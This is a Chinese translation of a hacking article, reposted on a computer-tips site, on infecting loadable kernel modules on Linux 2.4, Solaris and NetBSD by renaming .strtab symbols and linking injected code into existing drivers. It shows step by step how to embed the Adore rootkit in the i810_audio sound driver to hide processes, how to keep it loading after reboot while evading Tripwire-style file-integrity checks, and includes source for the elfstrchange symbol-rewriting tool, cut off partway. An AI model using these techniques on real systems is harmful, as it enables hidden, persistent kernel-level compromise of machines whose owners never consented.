首页 电脑 电脑学堂 查看内容

LKM 注射

2004-9-29 20:05 787 1

摘要: --[ 内容        1 - 介绍      &nbs...
关键词: nbsp 0000000000000000 Module 模块 init strtab section evil ELF 符号

--[ 内容        1 - 介绍        2 - ELF 基础知识          2.1 - The .symtab section          2.2 - The .strtab section        3 - 玩转 loadable kernel modules          3.1 - 模块加载          3.2 - 修改 .strtab section           3.3 - 插入代码          3.4 - 保持隐蔽性        4 - 实例          4.1 - 最简单的 LKM 感染          4.2 - 我还会回来的 (重启之后)        5 - 关于其他的操作系统          5.1 - Solaris          5.2 - *BSD            5.2.1 - FreeBSD            5.2.2 - NetBSD            5.2.3 - OpenBSD        6 - 结论        7 - 感谢        8 - 参考资料        9 - 源代码          9.1 - ElfStrChange          9.2 - Lkminject--[ 1 - 介绍  这些年来,很多 rootkit 使用了 loadable kernel modules。这仅仅是一种短暂的流行现象吗?不是,lkm 的广泛使用得益于它强大的功能:可以隐藏文件,进程还有其他一些妙用。对于第一代使用 lkm 的 rootkits,使用lsmod命令就可以轻易的找出它们。我们见过许许多多隐藏模块的手法,比如在Plaguez的文章 [1]里提到的那种,还有更多的在Adore Rootkit [2]里面用到的技巧。几年以后,我们还看到一些新技术:通过使用/dev/kmem [3] 修改kernel内存映射(kernel memory image)。最后,参考资料[4]向我们展示了静态内核补丁(static kernel patching)技术。这个技术解决了一个大问题:rootkit在机器重启后可以重新加载。(译者注:查找了一下lsmod的运作方式,供大家了解。"在kernel 2.0.x 时,指令'lsmod'是去开启档案 '/proc/modules' 来得知系统中,已加载哪些 Module。不过到了kernel 2.1.x以后,系统提供了函式' query_module'。因此,此时'lsmod'的实作便是透过呼叫 query_module 来取得系统已加载 module的相关资料。")  本文提出了一种新的隐藏lkm rootkits的技术并且保证这些rootkit在机器重启后能够重新加载。文章会提到如何感染一个系统使用的内核模块。本文针对的是 Linux kernelx86 2.4.x 系列,不过这个技术可以在任何使用ELF文件格式的系统中推广。要了解这个技术需要一些基础知识。内核模块是ELF object 文件,我们需要了解一点ELF格式,尤其是关于符号命名部分的知识。此后,我们会接着学习模块加载机制以便了解如何把恶意代码插入内核模块中。最后,实战操作一下模块的插入。--[ 2 - ELF 基础  Executable(可执行) & Linking(链接) Format (ELF) 是用于linux操作系统上的可执行文件格式。我们先要了解部分相关知识,以后用得着(如果想要全面了解ELF格式,请参考[1])。 当链接两个ELF object 文件的时候,链接程序需要知道每个object文件里相关符号的一些情况。每个ELF object文件(比如lkm的那些object文件)包含了两个部分(译者注:就是后文的 .symtab 和 .strtab 两个section )。这两个section 是用来存储每个符号的信息结构的。我们不但要研究它们,还要总结出一些对感染内核模块有用的思路。----[ 2.1 - .symtab section   这部分是一个结构列表。当链接程序使用那些ELF object文件里的符号时,就需要这些数据。在/usr/include/elf.h里可以找到这个结构的定义:/* Symbol table entry. */(符号列表入口)typedef struct{  Elf32_Word    st_name;    /* Symbol name (string tbl index) */(符号名(字符串列表索引))  Elf32_Addr    st_value;    /* Symbol value */(符号的值)  Elf32_Word    st_size;    /* Symbol size */(符号数据占用空间的大小)  unsigned char    st_info;    /* Symbol type and binding */(符号类型和绑定)  unsigned char    st_other;    /* Symbol visibility */(符号的可见性)  Elf32_Section    st_shndx;    /* Section index */(各section 的索引)} Elf32_Sym;这里我们只对st_name感兴趣。实际上它是 .strtab section 的索引,而那些符号的名称就是存储在 .strtab 里面的。----[ 2.2 - .strtab section   .strtab section 是一个非空字符串的列表。正如我们上面看见的,Elf32_Sym里面的st_name是 .strtab section 的索引。如果我们寻找的符号在某个字符串里,我们可以很方便的得到这个字符串的偏移地址。下面是我们的计算公式:  offset_sym_name = offset_strtab + st_name  offset_strtab 是 .strtab section 相对于文件起始处的偏移地址,可以通过section 名称解析机制获得。这和我们要谈的技术关系不是很大,这里就不深究了。参考资料[5]里面详细探讨了这个问题,后面章节9.1给出了具体实现的代码。  现在可以说,在ELF object 文件里,我们可以很方便的找到符号名并修改它们。不过修改过程中始终要牢记一点:.strtab section 是由连续的非空字符串组成的,这对修改后新的符号名是一个限制:新名称的长度不能超过原来的那个长度,否则会殃及 .strtab 中下一个符号。(译者注:这里和溢出的道理一样,新名称长度超过原先设定值,多出的部分就会写到后面一个符号名区域里,覆盖后面有用的部分)  遵守了这一点,我们就能做到简单的修改符号名而不影响模块的正常运行,最终实现用一个模块感染另一个模块。--[ 3 - 玩转 loadable kernel modules  下面这段给出了动态加载模块程序的源代码。了解了这个,我们就能学会在模块中插入代码了。----[ 3.1 - 模块加载  内核模块的加载是通过insmod这个用户空间工具实现的。insmod包含在modutils包里[6]。我们感兴趣的东西是insmod.c文件里的init_module()函数。static int init_module(const char *m_name, struct obj_file *f,        unsigned long m_size, const char *blob_name,        unsigned int noload, unsigned int flag_load_map){(1)     struct module *module;        struct obj_section *sec;        void *image;        int ret = 0;        tgt_long m_addr;        ....(2)     module->init = obj_symbol_final_value(f,                obj_find_symbol(f, "init_module"));(3)     module->cleanup = obj_symbol_final_value(f,                obj_find_symbol(f, "cleanup_module"));        ....        if (ret == 0 && !noload) {                fflush(stdout);         /* Flush any debugging output */(4)             ret = sys_init_module(m_name, (struct module *) image);                if (ret) {                        error("init_module: %m");                        lprintf(      "Hint: insmod errors can be caused by incorrect module parameters, "      "including invalid IO or IRQ parameters.\n"      "You may find more information in syslog or the output from dmesg");                }        }  在 (1) 里,函数向一个结构体模块(struct module)填充了加载模块必须的数据。需要关注的部分是 init_module 和 cleanup_module。这是两个函数指针,分别指向被加载模块的 init_module() 和 cleanup_module() 函数。(2)里面的 obj_find_symbol()函数遍历符号列表查找名字为init_module的符号,然后提取这个结构体符号(structsymbol)并把它传递给 obj_symbol_final_value()。后者从这个结构体符号提取出init_module函数的地址。同理,在 (3) 里这个工作对于cleanup_module()又重复了一遍。需要牢记的是,对于模块初始化或结束时调用的函数,他们在 .strtab section 的入口分别对应着 init_module 和 cleanup_module。  当结构体模块填充完毕后,(4) 使用了 sys_init_module() 这个系统调用(syscall)通知内核加载相应模块。  模块加载过程中程序调用了 sys_init_module(),其中有我们感兴趣的部分。这个函数的代码可以在 /usr/src/linux/kernel/module.c 里找到:asmlinkage longsys_init_module(const char *name_user, struct module *mod_user){        struct module mod_tmp, *mod;        char *name, *n_name, *name_tmp = NULL;        long namelen, n_namelen, i, error;        unsigned long mod_user_size;        struct module_ref *dep;        /* 很多sanity checks */        .....        /* 好了,上面是我们可以忍受的所有的sanity checks;剩下的拷贝如下。*/(1)     if (copy_from_user((char *)mod+mod_user_size,                           (char *)mod_user+mod_user_size,                           mod->size-mod_user_size)) {                error = -EFAULT;                goto err3;        }        /* 其他的sanity checks */        ....        /* 初始化模块  */        atomic_set(&mod->uc.usecount,1);        mod->flags |= MOD_INITIALIZING;(2)     if (mod->init && (error = mod->init()) != 0) {                atomic_set(&mod->uc.usecount,0);                mod->flags &= ~MOD_INITIALIZING;                if (error > 0)  /* Buggy module */                        error = -EBUSY;                goto err0;        }        atomic_dec(&mod->uc.usecount);  在一些sanity check之后,结构体模块被 (1) 里的copy_from_user()从用户空间拷贝到内核空间。然后 (2) 里通过使用 mod->init() 函数指针调用了被加载模块的init_module() 函数。而 mod->init() 这个指针的值是由 insmod 这个工具填充的。----[ 3.2 - 修改 .strtab section   前面已经提到了,通过检查 .strtab section 里的字符串,我们可以定位模块中init函数的地址。而通过修改这个字符串,我们可以在模块被加载的时候执行其他的函数。  修改 .strtab section 入口有几种办法。ld 的 -wrap 参数可以做到。不过这个方法和我们后面要用到的 -r 参数(章节3.3)不兼容。在章节5.1里,我们会看到如何用xxd完成这个工作。我写了一个工具(章节9.1)自动执行这些。下面是一个简单的例子:$ cat test.c#define MODULE#define __KERNEL__#include <linux/module.h>#include <linux/kernel.h>int init_module(void){  printk ("<1> Into init_module()\n");  return 0;}int evil_module(void){  printk ("<1> Into evil_module()\n");  return 0;}int cleanup_module(void){  printk ("<1> Into cleanup_module()\n");  return 0;}$ cc -O2 -c test.c  让我们看看 .symtab 和 .strtab 这两个section:$ objdump -t test.otest.o:     file format elf32-i386SYMBOL TABLE:0000000000000000 l    df *ABS*  0000000000000000 test.c0000000000000000 l    d  .text  00000000000000000000000000000000 l    d  .data  00000000000000000000000000000000 l    d  .bss   00000000000000000000000000000000 l    d  .modinfo  00000000000000000000000000000000 l    O  .modinfo  0000000000000016 __module_kernel_version0000000000000000 l    d  .rodata   00000000000000000000000000000000 l    d  .comment  00000000000000000000000000000000 g    F  .text  0000000000000014 init_module0000000000000000         *UND*  0000000000000000 printk0000000000000014 g    F  .text  0000000000000014 evil_module0000000000000028 g    F  .text  0000000000000014 cleanup_module  我们马上要修改 .strtab section 的两个入口以便把 evil_module 的符号名改成 init_module。首先必须把 init_module 这个符号重命名。在同一个ELF object文件里,两个性质相同的符号名字不能重复。下面是操作过程:        重命名1)  init_module  ---->  dumm_module2)  evil_module  ---->  init_module$ ./elfstrchange test.o init_module dumm_module[+] Symbol init_module located at 0x3dc[+] .strtab entry overwriten with dumm_module$ ./elfstrchange test.o evil_module init_module[+] Symbol evil_module located at 0x3ef[+] .strtab entry overwriten with init_module$ objdump -t test.otest.o:     file format elf32-i386SYMBOL TABLE:0000000000000000 l    df *ABS*  0000000000000000 test.c0000000000000000 l    d  .text  00000000000000000000000000000000 l    d  .data  00000000000000000000000000000000 l    d  .bss   00000000000000000000000000000000 l    d  .modinfo  00000000000000000000000000000000 l    O  .modinfo  0000000000000016 __module_kernel_version0000000000000000 l    d  .rodata   00000000000000000000000000000000 l    d  .comment  00000000000000000000000000000000 g    F  .text  0000000000000014 dumm_module0000000000000000         *UND*  0000000000000000 printk0000000000000014 g    F  .text  0000000000000014 init_module0000000000000028 g    F  .text  0000000000000014 cleanup_module# insmod test.o# tail -n 1 /var/log/kernelMay  4 22:46:55 accelerator kernel:  Into evil_module()  正如我们看到的,evil_module() 被当作 init_module() 调用了。----[ 3.3 - 插入代码  不断发展的技术使得替换函数并且执行变成了可能,不过这还不是特别有趣。如果我们能在已有的模块中插入外来的代码就更好了。有一种方法可以 *轻松* 做到这点--使用ld 这个法宝。$ cat original.c#define MODULE#define __KERNEL__#include <linux/module.h>#include <linux/kernel.h>int init_module(void){  printk ("<1> Into init_module()\n");  return 0;}int cleanup_module(void){  printk ("<1> Into cleanup_module()\n");  return 0;}$ cat inject.c#define MODULE#define __KERNEL__#include <linux/module.h>#include <linux/kernel.h>int inje_module (void){  printk ("<1> Injected\n");  return 0;}$ cc -O2 -c original.c$ cc -O2 -c inject.c  重要部分开始了。由于内核模块都是可以重定位的ELF object文件,代码插入并不是个问题。这种object文件在链接后可以共享彼此的符号。同样这里有一个原则:要链接在一起的几个模块里不能有同名符号。使用 ld 命令带上 -r 参数完成一个部分链接,不改变链接文件的性质。这样声明的模块可以被内核加载。$ ld -r original.o inject.o -o evil.o$ mv evil.o original.o$ objdump -t original.ooriginal.o:     file format elf32-i386SYMBOL TABLE:0000000000000000 l    d  .text  00000000000000000000000000000000 l    d  *ABS*  00000000000000000000000000000000 l    d  .rodata   00000000000000000000000000000000 l    d  .modinfo  00000000000000000000000000000000 l    d  .data  00000000000000000000000000000000 l    d  .bss   00000000000000000000000000000000 l    d  .comment  00000000000000000000000000000000 l    d  *ABS*  00000000000000000000000000000000 l    d  *ABS*  00000000000000000000000000000000 l    d  *ABS*  00000000000000000000000000000000 l    df *ABS*  0000000000000000 original.c0000000000000000 l     O .modinfo  0000000000000016 __module_kernel_version0000000000000000 l    df *ABS*  0000000000000000 inject.c0000000000000016 l     O .modinfo  0000000000000016 __module_kernel_version0000000000000014 g     F .text  0000000000000014 cleanup_module0000000000000000 g     F .text  0000000000000014 init_module0000000000000000         *UND*  0000000000000000 printk0000000000000028 g     F .text  0000000000000014 inje_module  这样 inje_module() 函数就被链接进了模块。现在我们要修改 .strtab section 以保证模块加载时被调用的是inje_module()而不是init_module()。$ ./elfstrchange original.o init_module dumm_module[+] Symbol init_module located at 0x4a8[+] .strtab entry overwriten with dumm_module$ ./elfstrchange original.o inje_module init_module[+] Symbol inje_module located at 0x4bb[+] .strtab entry overwriten with init_module  开火吧:# insmod original.o# tail -n 1 /var/log/kernelMay 14 20:37:02 accelerator kernel:  Injected  奇迹发生了 :)----[ 3.4 - 保持隐蔽性  大多数时候,我们要感染那些正在使用的的模块。如果我们用别的函数替换了init_module(),模块原先的功能就不能发挥了。明眼人很容易发现这个被感染的模块。有一个解决方法可以既保留原有的功能,又能插入我们的代码。.strtab被 hack 了以后,真正的 init_module() 函数重命名为dumm_module。如果我们在插入的 evil_module() 函数里调用 dumm_module(),那么真正的 init_module()就会在模块初始化时执行,从而模块原有的功能也不会被破坏。                 替换    init_module  ------>  dumm_module    inje_module  ------>  init_module (将会调用 dumm_module)$ cat stealth.c#define MODULE#define __KERNEL__#include <linux/module.h>#include <linux/kernel.h>int inje_module (void){  dumm_module ();  printk ("<1> Injected\n");  return 0;}$ cc -O2 -c stealth.c$ ld -r original.o stealth.o -o evil.o$ mv evil.o original.o$ ./elfstrchange original.o init_module dumm_module[+] Symbol init_module located at 0x4c9[+] .strtab entry overwriten with dumm_module$ ./elfstrchange original.o inje_module init_module[+] Symbol inje_module located at 0x4e8[+] .strtab entry overwriten with init_module# insmod original.o# tail -n 2 /var/log/kernelMay 17 14:57:31 accelerator kernel:  Into init_module()May 17 14:57:31 accelerator kernel:  Injected  好极了,我们插入的代码在正常代码运行之后也得到了执行,这下够隐蔽的了。--[ 4 - 实例  下面修改 init_module() 的方法对 cleanup_module() 函数也同样适用。这样,我们就可以把一个完整的模块插入另一个模块中去了。我曾经通过简单的处理把著名的 Adore[2]rootkit 插入到我的声卡驱程(i810_audio.o)里。----[ 4.1 - 最简单的 LKM 感染1) 我们必须对adore.c稍稍做点修改  * 在 init_module() 函数里加入对 dumm_module() 的调用  * 在 cleanup_module() 模块函数里加入对 dummcle_module() 的调用  * 把 init_module 函数名改成 evil_module  * 把 cleanup_module 函数名改成 evclean_module(译者注:注意始终保持函数名长度和原名称的一致性)2) 用 make 命令编译 Adore3) 把 adore.o 和 i810_audio.o 链接   ld -r i810_audio.o adore.o -o evil.o   如果将要被插入的模块已经加载了,必须先卸载它:   rmmod i810_audio   mv evil.o i810_audio.o4) 修改 .strtab section                  替换  init_module    ------> dumm_module  evil_module    ------> init_module (将会调用 dumm_module)  cleanup_module ------> evclean_module  evclean_module ------> cleanup_module (将会调用 evclean_module)$ ./elfstrchange i810_audio.o init_module dumm_module[+] Symbol init_module located at 0xa2db[+] .strtab entry overwriten with dumm_module$ ./elfstrchange i810_audio.o evil_module init_module[+] Symbol evil_module located at 0xa4d1[+] .strtab entry overwriten with init_module$ ./elfstrchange i810_audio.o cleanup_module dummcle_module[+] Symbol cleanup_module located at 0xa169[+] .strtab entry overwriten with dummcle_module$ ./elfstrchange i810_audio.o evclean_module cleanup_module[+] Symbol evclean_module located at 0xa421[+] .strtab entry overwriten with cleanup_module5) 加载并且测试模块# insmod i810_audio# ./avaUsage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]       h hide file       u unhide file       r execute as root       R remove PID forever       U uninstall adore       i make PID invisible       v make PID visible# ps  PID TTY          TIME CMD2004 pts/3    00:00:00 bash2083 pts/3    00:00:00 ps# ./ava i 2004Checking for adore  0.12 or higher ...Adore 0.53 installed. Good luck.Made PID 2004 invisible.root@accelerator:/home/truff/adore# ps  PID TTY          TIME CMD#完美吧 :) 为了方便懒人干活,我写了一个简单的shell脚本(章节 9.2)做这些工作。----[ 4.2 - 我还会回来的 (重启之后)  当模块加载时,为了以后进一步的需要,我们有两种选择:  * 用感染后的模块替换 /lib/modules/ 里真正的模块。    这可以保证重启后我们的后门能够被重新加载。但是,这也会被像 Tripwire[7] 这样    的HIDS(Host Intrusion Detection System 文件入侵监测系统)发现。不过不要太担心,内核模块既不是可执行文件也不是一个suid文件,如果管理员配置的HIDS规则不是太变态,还是查不到我们头上的。  * 不去动那些放在 /lib/modules 下真正的内核模块,同时删除被感染的模块。这样,即    使HIDS监测文件的修改情况,它们也只能无功而返。--[ 5 - 关于其他的操作系统----[ 5.1 - Solaris  我通过[8]里的一个基本内核模块来讲解这个例子。Solaris 内核模块使用了三个基本函数:  - _init 模块初始化的时候调用  - _fini 模块卸载时调用  - _info 当用户使用modinfo命令时,负责输出模块信息$ uname -srpSunOS 5.7 sparc$ cat mod.c#include <sys/ddi.h>#include <sys/sunddi.h>#include <sys/modctl.h>extern struct mod_ops mod_miscops;static struct modlmisc modlmisc = {        &mod_miscops,        "Real Loadable Kernel Module",};static struct modlinkage modlinkage = {        MODREV_1,        (void *)&modlmisc,        NULL};int _init(void){        int i;        if ((i = mod_install(&modlinkage)) != 0)                cmn_err(CE_NOTE,"Could not install module\n");        else                cmn_err(CE_NOTE,"mod: successfully installed");        return i;}int _info(struct modinfo *modinfop){        return (mod_info(&modlinkage, modinfop));}int _fini(void){        int i;        if ((i = mod_remove(&modlinkage)) != 0)                cmn_err(CE_NOTE,"Could not remove module\n");        else                cmn_err(CE_NOTE,"mod: successfully removed");        return i;}$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c mod.c$ ld -r -o mod mod.o$ file modmod:            ELF 64-bit MSB relocatable SPARCV9 Version 1  正如我们在linux例子里看到的,我们要插入的代码里必须包含对真正 init 函数的调用,这样模块才能和原来一样正常工作。不过,我们要面对一个问题:如果我们在模块链接之后再修改 .strtab section ,动态加载程序无法找到 _dumm() 函数,模块自然也无法被正常加载。在这个问题上我没有太深入的研究,但是我觉得Solaris的动态加载程序不会在模块里查找那些没有被定义的符号。所以问题解决了:我们只要在链接之前把.strtab入口的 _init 重命名为 _dumm 就可以了。$ readelf -S mod有10个section 的header(section headers),它们的偏移地址从 0x940 开始。Section Headers:  [Nr] Name              Type             Address           Offset       Size              EntSize          Flags  Link  Info  Align  [ 0]                   NULL             0000000000000000  00000000       0000000000000000  0000000000000000        0     0     0  [ 1] .text             PROGBITS         0000000000000000  00000040       0000000000000188  0000000000000000  AX     0     0     4  [ 2] .rodata           PROGBITS         0000000000000000  000001c8       000000000000009b  0000000000000000   A     0     0     8  [ 3] .data             PROGBITS         0000000000000000  00000268       0000000000000050  0000000000000000  WA     0     0     8  [ 4] .symtab           SYMTAB           0000000000000000  000002b8       0000000000000210  0000000000000018         5     e     8  [ 5] .strtab           STRTAB           0000000000000000  000004c8       0000000000000065  0000000000000000         0     0     1  [ 6] .comment          PROGBITS         0000000000000000  0000052d       0000000000000035  0000000000000000         0     0     1  [ 7] .shstrtab         STRTAB           0000000000000000  00000562       000000000000004e  0000000000000000         0     0     1  [ 8] .rela.text        RELA             0000000000000000  000005b0       0000000000000348  0000000000000018         4     1     8  [ 9] .rela.data        RELA             0000000000000000  000008f8       0000000000000048  0000000000000018         4     3     8Flag 注释:  W (write写), A (alloc分配), X (execute执行), M (merge合并), S (strings字符串)  I (info信息), L (link order链接顺序), G (group组), x (unknown未知)  O (extra OS processing required需要额外的系统处理), o (OS specific制定操作系统)  p (processor specific指定处理器)  .strtab section 的起始偏移地址为 0x4c8,大小是 64 位。下面我们用vi 和 xxd 作为我们的16位编辑器修改 .strtab section 。用 vi mod 这个命令在vi里打开模块。然后输入 :%!xxd 把模块转换成16进制。你会看到下面这些字符:00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64  .........mod.mod00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f  .c.modlinkage.mo00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f  dlmisc.mod_misco00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73  ps._info.mod_ins0000500: 7461 6c6c 005f 696e 6974 006d 6f64 5f69  tall._init.mod_i                        ^^^^^^^^^  我们用 _dumm 替换 _init,只修改四个字节。00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64  .........mod.mod00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f  .c.modlinkage.mo00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f  dlmisc.mod_misco00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73  ps._info.mod_ins0000500: 7461 6c6c 005f 6475 6d6d 006d 6f64 5f69  tall._init.mod_i                        ^^^^^^^^^                    ^^^^                                    ^^^^                                              (译者注:这里似乎应该是dumm,                                               可能是笔误)  用 :%!xxd -r 这个命令把模块从16进制转换回去,保存退出。然后我们来证实一下我们的修改是否成功。$ objdump -t modmod:     file format elf64-sparcSYMBOL TABLE:0000000000000000 l    df *ABS*  0000000000000000 mod0000000000000000 l    d  .text  00000000000000000000000000000000 l    d  .rodata        00000000000000000000000000000000 l    d  .data  00000000000000000000000000000000 l    d  *ABS*  00000000000000000000000000000000 l    d  *ABS*  00000000000000000000000000000000 l    d  .comment       00000000000000000000000000000000 l    d  *ABS*  00000000000000000000000000000000 l    d  *ABS*  00000000000000000000000000000000 l    d  *ABS*  00000000000000000000000000000000 l    df *ABS*  0000000000000000 mod.c0000000000000010 l    O  .data  0000000000000040 modlinkage0000000000000000 l    O  .data  0000000000000010 modlmisc0000000000000000         *UND*  0000000000000000 mod_miscops00000000000000a4 g    F  .text  0000000000000040 _info0000000000000000         *UND*  0000000000000000 mod_install0000000000000000 g    F  .text  0000000000000188 _dumm0000000000000000         *UND*  0000000000000000 mod_info0000000000000000         *UND*  0000000000000000 mod_remove00000000000000e4 g    F  .text  0000000000000188 _fini0000000000000000         *UND*  0000000000000000 cmn_err  可以看到 _init 已经被 _dumm 替换了。现在我们可以直接插入一个名为 _init的函数了。$ cat evil.cint _init(void){        _dumm ();        cmn_err(1,"evil: successfully installed");        return 0;}$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c inject.c$ ld -r -o inject inject.o  用ld命令插入模块:$ ld -r -o evil mod inject  加载模块:# modload evil# tail -f /var/adm/messagesJul 15 10:58:33 luna unix: NOTICE: mod: successfully installedJul 15 10:58:33 luna unix: NOTICE: evil: successfully installed  利用 _fini 函数把一个完整模块插入其他模块的操作和上面的一样。----[ 5.2 - *BSD------[ 5.2.1 - FreeBSD% uname -srmFreeBSD 4.8-STABLE i386% file /modules/daemon_saver.kodaemon_saver.ko: ELF 32-bit LSB shared object, Intel 80386, version 1(FreeBSD), not stripped  正如我们看到的,FreeBSD 内核模块是共享object的,所以我们无法使用ld命令把恶意代码和模块链接到一起。不仅如此,FreeBSD 加载模块的机制和 Linux 以及 Solaris 都不一样。看看 /usr/src/sys/kern/kern_linker.c 你就明白了。init/cleanup 的函数名可以五花八门。初始化时,加载程序直接在 .data section 的一个结构体内找到 init 函数的地址,而不是靠函数名判断。因此上面的hack .strtab 的方法不再适用了。------[ 5.2.2 - NetBSD$ file nvidia.onvidia.o: ELF 32-bit LSB relocatable, Intel 80386, version 1(SYSV), not stripped  NetBSD 内核模块是可以重定位的 ELF object 文件,可以插入模块。当使用 modload 命令加载内核模块的时候,加载程序把模块和内核链接起来,同时执行模块入口处的代码(代码放在ELF header里)。  链接以后,我们可以修改模块入口。不过没有必要这样做。modload 命令提供了"-e"参数,方便我们设置哪个符号为入口点。  下面是一个例子,我们要感染的模块:$ cat gentil_lkm.c#include <sys/cdefs.h>#include <sys/param.h>#include <sys/ioctl.h>#include <sys/systm.h>#include <sys/conf.h>#include <sys/lkm.h>MOD_MISC("gentil");int    gentil_lkmentry(struct lkm_table *, int, int);int    gentil_lkmload(struct lkm_table *, int);int    gentil_lkmunload(struct lkm_table *, int);int    gentil_lkmstat(struct lkm_table *, int);int gentil_lkmentry(struct lkm_table *lkmt, int cmd, int ver){    DISPATCH(lkmt, cmd, ver, gentil_lkmload, gentil_lkmunload,        gentil_lkmstat);}int gentil_lkmload(struct lkm_table *lkmt, int cmd){    printf("gentil: Hello, world!\n");    return (0);}int gentil_lkmunload(struct lkm_table *lkmt, int cmd){    printf("gentil: Goodbye, world!\n");    return (0);}int gentil_lkmstat(struct lkm_table *lkmt, int cmd){    printf("gentil: How you doin', world?\n");    return (0);}  下面这部分是要插入的代码:$ cat evil_lkm.c#include <sys/cdefs.h>#include <sys/param.h>#include <sys/ioctl.h>#include <sys/systm.h>#include <sys/conf.h>#include <sys/lkm.h>int    gentil_lkmentry(struct lkm_table *, int, int);intinject_entry(struct lkm_table *lkmt, int cmd, int ver){    switch(cmd) {    case LKM_E_LOAD:        printf("evil: in place\n");        break;    case LKM_E_UNLOAD:        printf("evil: i'll be back!\n");        break;    case LKM_E_STAT:        printf("evil: report in progress\n");        break;    default:        printf("edit: unknown command\n");        break;    }    return gentil_lkmentry(lkmt, cmd, ver);}  分别编译了 gentil 和 evil 之后,我们把它们链接到一起:$ ld -r -o evil.o gentil.o inject.o$ mv evil.o gentil.o# modload -e evil_entry gentil.oModule loaded as ID 2# modstatType    Id   Offset  Loadaddr  Size  Info      Rev  Module  NameDEV     0  -1/108  d3ed3000  0004  d3ed3440   1  mmrDEV     1  -1/180  d3fa6000  03e0  d4090100   1  nvidiaMISC    2      0   e45b9000  0004  e45b9254  1  gentil# modunload -n gentil# dmesg | tailevil: in placegentil: Hello, world!evil: report in progressgentil: How you doin', world?evil: i'll be back!gentil: Goodbye, world!  好了,一切如此完美 :)------[ 5.2.3 - OpenBSD  OpenBSD 不使用 x86 构架的 ELF 文件,所以这个技术没有用武之地。我没有在那些使用ELF的平台上测试过,但是我觉得它们看起来和NetBSD差不多,上面的hack技术应该也适用。如果你在使用ELF的 OpenBSD 平台上成功了,告诉我一声。--[ 6 - 结论  这篇文章补充了一些在内核中集成代码的方法。我提出这个技术是因为你只要做很少的处理就可以实现代码的插入,的确很有趣。  好好玩吧 :)--[ 7 - 感谢  我要感谢 mycroft, OUAH, aki 和 afrique 给我的意见和建议。非常感谢 klem 教会我逆向工程。  感谢 FXKennedy 在 NetBSD 方面给我的帮助。  A big kiss to Carla for being wonderfull. (译者注:这句话我就不翻了^_^)  最后感谢所有 #root 的人们, `spud, hotfyre, funka, jaia,climax,redoktober ...--[ 8 - 参考资料  [1] Weakening the Linux Kernel by Plaguez      http://www.phrack.org/show.php?p=52&a=18  [2] The Adore rootkit by stealth      http://stealth.7350.org/rootkits/  [3] Runtime kernel kmem patching by Silvio Cesare      http://vx.netlux.org/lib/vsc07.html  [4] Static Kernel Patching by jbtzhm      http://www.phrack.org/show.php?p=60&a=8  [5] Tool interface specification on ELF      http://segfault.net/~scut/cpu/generic/TIS-ELF_v1.2.pdf  [6] Modutils for 2.4.x kernels      ftp://ftp.kernel.org/pub/linux/utils/kernel/modutils/v2.4  [7] Tripwire      http://www.tripwire.org  [8] Solaris Loadable Kernel Modules by Plasmoid      http://www.thc.org/papers/slkm-1.0.html--[ 9 - 源代码----[ 9.1 - ElfStrChange/** elfstrchange.c by truff <[email protected]>* Change the value of a symbol name in the .strtab section** Usage: elfstrchange elf_object sym_name sym_name_replaced**/#include <stdlib.h>#include <stdio.h>#include <elf.h>#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,                       Elf32_Shdr *shstrtable, char *res, size_t len);Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,                       Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,                       Elf32_Shdr *strtable, char *res, size_t len);int main (int argc, char **argv){  int i;  int len = 0;  char *string;  FILE *fd;  Elf32_Ehdr hdr;  Elf32_Shdr symtab, strtab;  Elf32_Sym sym;  Elf32_Off symoffset;  fd = fopen (argv[1], "r+");  if (fd == NULL)    FATAL ("fopen");  if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)    FATAL ("Elf header corrupted");  if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1)  {    fprintf (stderr, "Can't get .symtab section\n");    exit (EXIT_FAILURE);  }  if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1)  {    fprintf (stderr, "Can't get .strtab section\n");    exit (EXIT_FAILURE);  }  symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);  if (symoffset == -1)  {    fprintf (stderr, "Symbol %s not found\n", argv[2]);    exit (EXIT_FAILURE);  }  printf ("[+] Symbol %s located at 0x%x\n", argv[2], symoffset);  if (fseek (fd, symoffset, SEEK_SET) == -1)    FATAL ("fseek");  if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))    FATAL ("fwrite");  printf ("[+] .strtab entry overwriten with %s\n", argv[3]);  fclose (fd);  return EXIT_SUCCESS;}Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,            Elf32_Shdr *strtab, char *name, Elf32_Sym *sym){  int i;  char symname[255];  Elf32_Off offset;  for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)  {    if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),               SEEK_SET) == -1)      FATAL ("fseek");    if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)      FATAL ("Symtab corrupted");    memset (symname, 0, sizeof (symname));    offset = ElfGetSymbolName (fd, sym->st_name,                        strtab, symname, sizeof (symname));    if (!strcmp (symname, name))      return offset;  }  return -1;}int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,    Elf32_Shdr *shdr){  if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize),             SEEK_SET) == -1)    FATAL ("fseek");  if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)    FATAL ("Sections header corrupted");  return 0;}int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,                         Elf32_Shdr *shdr){  int i;  char name[255];  Elf32_Shdr shstrtable;  /*   * Get the section header string table   */  ElfGetSectionByIndex (fd, ehdr, 